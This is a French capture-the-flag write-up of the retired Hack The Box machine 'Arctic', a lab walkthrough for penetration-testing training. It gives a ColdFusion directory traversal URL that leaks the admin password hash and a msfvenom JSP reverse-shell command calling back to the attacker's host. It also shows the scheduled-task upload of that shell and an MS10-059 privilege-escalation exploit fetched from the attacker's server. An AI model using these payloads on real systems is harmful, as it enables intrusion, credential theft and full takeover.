Article original : Keep Calm and Hack The Box - Arctic
Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent davantage vers un style de défi CTF.
Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Arctic est une machine de niveau débutant, cependant les temps de chargement sur le serveur web posent quelques défis pour l'exploitation. Un dépannage de base est nécessaire pour faire fonctionner correctement l'exploit.
Nous allons utiliser les outils suivants pour pirater la machine sur une boîte Kali Linux
- nmap
- Searchsploit
- hash-identifier
- MSFvenom
- netcat
- GDSSecurity/Windows-Exploit-Suggester
- serveur http python
- powershell
Étape 1 - Reconnaissance
La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.
C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.
Scanning des ports
J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseaux et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.
Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

J'utilise la commande suivante pour effectuer un scan intensif :
nmap -A -v 10.10.10.11
-A : Active la détection du système d'exploitation, la détection de version, le scanning de scripts et le traceroute
-v : Augmente le niveau de verbosité
10.10.10.11 : Adresse IP de la boîte Arctic
Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.
nmap 10.10.10.11

Nous pouvons voir qu'il y a 3 ports ouverts :
Port 135. Microsoft EPMAP (End Point Mapper), également connu sous le nom de service DCE/RPC Locator, utilisé pour gérer à distance des services incluant le serveur DHCP, le serveur DNS et WINS
Port 8500. Serveur web intégré Adobe ColdFusion

Port 49154. Gestion des certificats via CMS
Pour l'instant, Adobe ColdFusion, qui s'exécute sur le port 8500, sera la cible principale.
Étape 2 - Énumération
Essayons le port 8500 et visitons http://10.10.10.11:8500

Nous pouvons voir deux dossiers. J'ouvre le dossier CFIDE.

Il semble que ce soit une application web avec un panneau d'administration ColdFusion à l'adresse suivante :
10.10.10.11:8500/CFIDE/administrator/
Pour plus d'informations sur ColdFusion, consultez ici.

J'utilise Searchsploit pour vérifier s'il y a des vulnérabilités connues sur ColdFusion. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database.

J'utilise la commande suivante :
searchsploit coldfusion
Nous pouvons également trouver l'exploit sur le site web de l'Exploit Database :
https://www.exploit-db.com/exploits/14641
Je regarde la description de l'exploit :

Et je remplace la partie server par 10.10.10.11:8500
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
Je peux voir que le mot de passe haché est maintenant visible sur la page entre les inputs :

J'utilise hash-identifier pour identifier le possible hash. hash-identifier est un logiciel pour identifier les différents types de hachages utilisés pour crypter des données et surtout des mots de passe. Vous pouvez trouver plus d'informations ici.
Je lance hash-identifier avec la commande suivante :
hash-identifier
et je copie/colle le mot de passe haché que j'ai obtenu précédemment :

Nous voyons que le hash est très probablement un SHA-1.
Étape 3 - Casser SHA 1 avec hashtoolkit.com
Je vais sur le site hashtoolkit pour "déchiffrer" le hash. Les fonctions de hachage sont conçues de manière à ce qu'il soit très facile de générer un hash / empreinte pour un texte, mais presque impossible de décoder le hash pour retrouver le texte original.
Il est important de noter que le hachage est un mécanisme à sens unique. Ainsi, les données qui ont été hachées ne peuvent pas être inversées de manière pratique ou être "déchiffrées".
Le site utilise des tables arc-en-ciel pour inverser les fonctions de hachage cryptographiques, généralement pour casser les hachages de mots de passe. Plus d'informations sur les tables arc-en-ciel ici.
Je copie/colle le hash et j'obtiens le mot de passe : happyday.

Vous pouvez également voir les différents hachages pour ce même mot de passe :

Actuellement, le site a presque 17 milliards de hachages de mots de passe MD5 et SHA1 déchiffrés :

Étape 4 - Créer une tâche planifiée
J'utilise le mot de passe pour me connecter au portail :

Je peux voir une zone dans la barre latérale gauche qui devrait permettre les téléchargements via les tâches planifiées sous la catégorie Debugging & Logging :

Je peux créer une nouvelle tâche :

Sur la page, je devrai configurer la tâche avec les différents paramètres :

Je vérifie les Mappings pour voir le chemin CFIDE - l'un des deux dossiers que nous avons trouvés au début - et savoir où je peux sauvegarder le shell :

Je vais utiliser msfvenom, qui est un générateur de charge utile, pour créer l'exploit - et plus spécifiquement un jsp reverse shell. Cette information a été collectée pendant la phase de reconnaissance - en regardant la page wikipedia de ColdFusion, nous pouvons voir qu'il est écrit en Java :

Vous pouvez en savoir plus sur msfvenom ici.

J'utilise la commande suivante pour créer la charge utile :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.51 LPORT=443 -f raw > arcticshell.jsp
-p : Charge utile à utiliser
-f : Format de sortie
LHOST : Hôte local
LPORT : Port local
J'ai sauvegardé l'exploit sous arcticshell.jsp. Je peux voir le contenu de la charge utile avec la commande suivante :
cat arcticshell.jsp

Lançons un serveur Python pour servir le fichier depuis Kali. J'utiliserai le SimpleHTTPServer. Le module SimpleHTTPServer qui vient avec Python est un serveur HTTP simple qui fournit des gestionnaires de requêtes GET et HEAD standard. Vous pouvez en savoir plus à ce sujet ici.
J'utilise la commande suivante pour créer un serveur simple :
python -m SimpleHTTPServer 80

De retour sur le panneau ColdFusion, je configure les paramètres suivants pour la tâche planifiée.
Tout d'abord, je configure l'URL vers notre serveur web qui héberge le shell que nous avons créé avec msfvenom :
http://10.10.14.51/arcticshell.jsp
Ensuite, je coche la case pour sauvegarder la sortie dans un fichier.
Enfin, je définis le fichier vers le chemin suivant :
C:\ColdFusion8\wwwroot\CFIDE\arcticshell.jsp
Voici ce que j'ai après avoir configuré tous les paramètres :

Sous les Actions sur le côté gauche, je clique sur le premier bouton pour exécuter la tâche. Je peux voir un message vert en haut de la page pour me dire que la tâche planifiée a été complétée avec succès :

Je peux également voir une réponse 200 sur mon serveur http python :

Je configure un écouteur Ncat sur le port 443 pour attraper la connexion du reverse shell.
Ncat est un utilitaire réseau riche en fonctionnalités qui lit et écrit des données à travers les réseaux depuis la ligne de commande. Ncat a été écrit pour le projet Nmap comme une réimplémentation grandement améliorée du vénérable Netcat. Il utilise à la fois TCP et UDP pour la communication et est conçu pour être un outil back-end fiable pour fournir instantanément une connectivité réseau à d'autres applications et utilisateurs.
Vous pouvez en savoir plus sur Ncat ici.

Je me rends ensuite à l'adresse du shell :
http://10.10.10.11:8500/CFIDE/arcticshell.jsp

J'ai enfin obtenu un shell !

Étape 5 - Recherche du flag user.txt
Je vérifie qui je suis sur la machine avec la commande
whoami

Je liste les fichiers/dossiers avec
dir
Je navigue vers Users

Ensuite, je me déplace vers le dossier tolis

Je navigue vers le Bureau

Et je trouve le fichier user.txt !

Pour lire le contenu du fichier, j'utilise la commande
more user.txt

Étape 6 - Utilisation de GDSSecurity/Windows-Exploit-Suggester
Je regarde les informations système avec la commande
systeminfo

Je copie/colle les résultats dans un fichier systeminfo.txt :

J'utiliserai Windows-Exploit-Suggester de GDSSecurity :
Cet outil compare les niveaux de correctifs d'une cible avec la base de données des vulnérabilités Microsoft afin de détecter les correctifs potentiellement manquants sur la cible. Il notifie également l'utilisateur s'il existe des exploits publics et des modules Metasploit disponibles pour les bulletins manquants.
Il nécessite la sortie de la commande 'systeminfo' d'un hôte Windows afin de comparer cela avec la base de données des bulletins de sécurité Microsoft et de déterminer le niveau de correctifs de l'hôte.
Il a la capacité de télécharger automatiquement la base de données des bulletins de sécurité de Microsoft avec le drapeau --update, et de la sauvegarder sous forme de feuille de calcul Excel.
Je copie/colle le script python brut windows-exploit-suggester dans un fichier puis je modifie le fichier
nano windows-exploit-suggester.py
pour coller le code depuis le dépôt GitHub. Nous avons maintenant nos 2 fichiers dans le même dossier, systeminfo.txt et windows-exploit-suggester.py :

Je peux en savoir plus sur cet outil avec la commande suivante :
python windows-exploit-suggester.py -h

Je mets à jour la base de données de l'outil avec la commande suivante :
python windows-exploit-suggester.py --update

J'exécute le script avec
python windows-exploit-suggester.py --systeminfo systeminfo.txt --database 2020-02-25-mssb.xls
Si vous rencontrez une erreur, vous devrez installer pip avant d'installer xlrd. Vous pouvez installer pip sur Kali avec la commande suivante :
apt install python-pip

Ensuite, vous pouvez installer xlrd avec la commande
pip install xlrd

Je peux voir qu'il y a plusieurs CVEs manquants sur cette machine. Je vais cibler la vulnérabilité MS10-059 :

Étape 7 - Exécution de l'élévation de privilèges
Je regarde le site Microsoft pour obtenir plus d'informations depuis leur Bulletin de Sécurité :
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-059
Je regarde la base de données Exploit Database :
https://www.exploit-db.com/exploits/14610
Je regarde également la base de données des vulnérabilités nationales. Plus d'informations sur NVD ici.
https://nvd.nist.gov/vuln/detail/CVE-2010-2554
Je trouve un exécutable sur GitHub ici que je peux télécharger. L'exploit créera un reverse shell.
Je crée un nouveau serveur http python avec
python -m SimpleHTTPServer 80
De retour sur le shell où j'ai obtenu le flag utilisateur, je configure un client web avec l'URL de l'exploit et le fichier où l'exploit sera sauvegardé :





J'obtiens un 200 sur le serveur http python :

Je configure un nouveau netcat et lance l'exploit avec la commande suivante :
exploit.exe 10.10.14.20 443


Étape 8 - Recherche du flag root.txt
Je peux voir que l'élévation de privilèges a réussi en vérifiant qui je suis sur la machine :
whoami
Cela retourne
nt authority\system
Je suis admin :

Je navigue vers Users :

Je me déplace vers le dossier Administrator :

Je navigue vers le dossier Desktop :

Je peux voir le flag root.txt !

J'utilise la commande suivante pour voir le contenu du fichier :
more root.txt

Félicitations ! Vous avez trouvé les deux flags !
N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)
Vous pouvez voir plus de mes articles ici
Vous pouvez me suivre sur Twitter ou sur LinkedIn
Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !
Autres articles Hack The Box
- Restez calme et piratez The Box - Lame
- Restez calme et piratez The Box - Legacy
- Restez calme et piratez The Box - Devel
- Restez calme et piratez The Box - Beep
- Restez calme et piratez The Box - Optimum
